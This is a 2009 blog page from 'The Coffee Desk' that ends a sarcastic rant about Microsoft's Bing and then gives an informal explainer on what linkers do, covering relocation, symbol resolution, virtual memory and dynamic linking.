I think I’ll start selling dead cats on eBay. Only, when nobody buys my dead cats, I’ll start calling them “Live Dead Cats”, then relabel them “Swoosh!” in an attempt to draw up marketing. The only disadvantage is that I can’t push users to buy the dead cats via a firm grasp on another market, I guess.

…But I still think it would be more successful than trying to knock over Google’s search engine share, I can tell you that much.

http://bit.ly/bingsucks

</rant>

Meet Bing, Microsoft’s “Google-killer” Version 3 originally appeared on The Coffee Desk on June 1, 2009.

If you are one of the growing community of people wondering what a linker is and why we need them, or just a curious user, then read on – this is for you.

The Basics

For both the casual reader and those whom may not have a grasp on the entire code-to-binary process, here’s one of my famous Giant-Colorized-And-Layered-Diagrams ™ providing an overview:

An overview of the compilation process

Jokes aside, that’s the entire process. The compiler first runs your code through the preprocessor (cpp) to expand macros and preprocessor definitions, then parses it based on the compiler’s language-specific lexer output. All the compiler does after parsing your code is generate machine code (machine-interpretable assembly language) based on the code found, then optionally optimize it.

(for the curious, most compiler errors occur during the parsing phase – i.e. a forgotten semicolon, etc.)

Where The Linker Comes In

What many don’t realize is that this is all the compiler does. The machine code generated by the compiler is in separate .o files named after the input files, each still using symbols instead of precise memory locations for things like variables and function names.

This is far from being executable, but this is also where the linker comes in.

The linker, called directly by the compiler after its done its job in most cases, first goes through a process called “relocation” according to the above diagram. This involves putting the machine code from the files in order according to how they were presented to the linker by the compiler.

This “order” is the basis for the executable format, e.g. ELF or COFF/EXE. The operating system needs a standard executable format so it knows where to find the stack section, data section, and code section of the resulting executable so it can be loaded and executed properly.

During the arrangement of the resulting executable(s), the linker is performing symbol resolution. This is the process of replacing a variable/function name with an exact memory address, so the program can find stuff in memory. After this is complete (and without errors), the resulting executable(s) and libraries are ready for distribution or execution.

Virtual Memory and the Linker

But wait, how does the linker assign an exact address to a variable without knowing whether or not that memory is already in use by the operating system at runtime?

It’s simple: magic.

…By magic, I mean the operating system “fools” the process/application into thinking it starts at a particular memory location, when in reality it doesn’t. This OS-specific starting address is also used by the linker during linking time as the organizational basis of the application.

Here’s the thing: just because the application (thanks to the linker) thinks it starts at memory location 0×0000ffff doesn’t mean it’s at that location in physical memory. The process sees it that way, but the operating system alone knows that this application is one of many pretending to be using this base address.

The OS kernel maps the application’s virtual memory (i.e. the fake base address and onwards) into physical memory via it’s internal memory management, and therefore every application is given the impression that it has all 4 gigabytes of memory to itself when really the OS kernel’s memory manager knows all along that the real address is somewhere in either physical RAM or paged out to the hard disk to conserve precious physical memory.

Still with me here? In a nutshell, the kernel simply makes the app believe it has the same starting address every time.

This is in contrast to older systems, where a runtime linker would map symbols to physical memory every time a program was executed to prevent overlapping. If this sounds slow and cumbersome, it indeed was.

Virtual memory is the preferred method for both linking consistency between applications, as well as better memory management. But a runtime linker still has it’s place, however:

Dynamic Linking

Ah, now it really gets fun. Sometimes, an application likes to put functions (or even static variables) into separate files, and execute them at runtime – even after the application has started executing!

This is called dynamic linking, represented by the D-Link sublayer in the above diagram. This is the process of an application loading a precompiled binary executable/library into it’s memory address space (the fake one, remember?) and resolving existing symbols to the newly loaded memory addresses.

If you understood the rest of the process earlier, it’s not much different in what happens next, only the application is already loaded and executing whenever it does this (in fact, the primary binary’s code is what loads up the file in the first place – the linker put this code in there so it could finish the job later during runtime).

In fact, most operating systems/C compilers and libraries do this these days to save code space: instead of every single application containing the code for printf() within it’s on-disk executable, this code resies in a separate shared library file with the application containing the minimal linker code to load it at runtime.

Most compiler/linkers (such as MSVC and GCC) do this transparently, only turning this feature off if told to statically link. Dynamic linking is done to save disk space, thanks to consolidating the shared code into one nonvolatile location and to ease bugfixes/updates to said code in the future rather than updating each individual application.

So while a linker may not seem necessary to some programmers, an understanding of virtual memory and shared libraries is key in order to grasp the concept of a linker. Without it, nothing in an executable could either load into or reference memory locations, and the application would just be a bunch of format-less object files (.o).

OS kernels have linkers too, but this is more complex since they reference their own kernel memory address space and execute code directly within it (possibly crashing the whole system in the process). The internal OS linker is for loading and executing device drivers, which are very loosely formatted libraries with specially exported symbols for execution.

So I hope this article clears the air about why we need linkers. I would think that modern computer science professors would explain this, but instead this topic is apparently more reserved for operating system classes focused on memory management, leaving the computer science students baffled by this “magic”.

Applied to South Park terminology:

1. Write code
2. Compile it
3. ????
4. Profit!

But there is no magic. Just a logical process of allowing applications to execute in an organized address space. But some still consider this magic none the less…

What Is A Linker And Why Do We Need It? originally appeared on The Coffee Desk on June 1, 2009.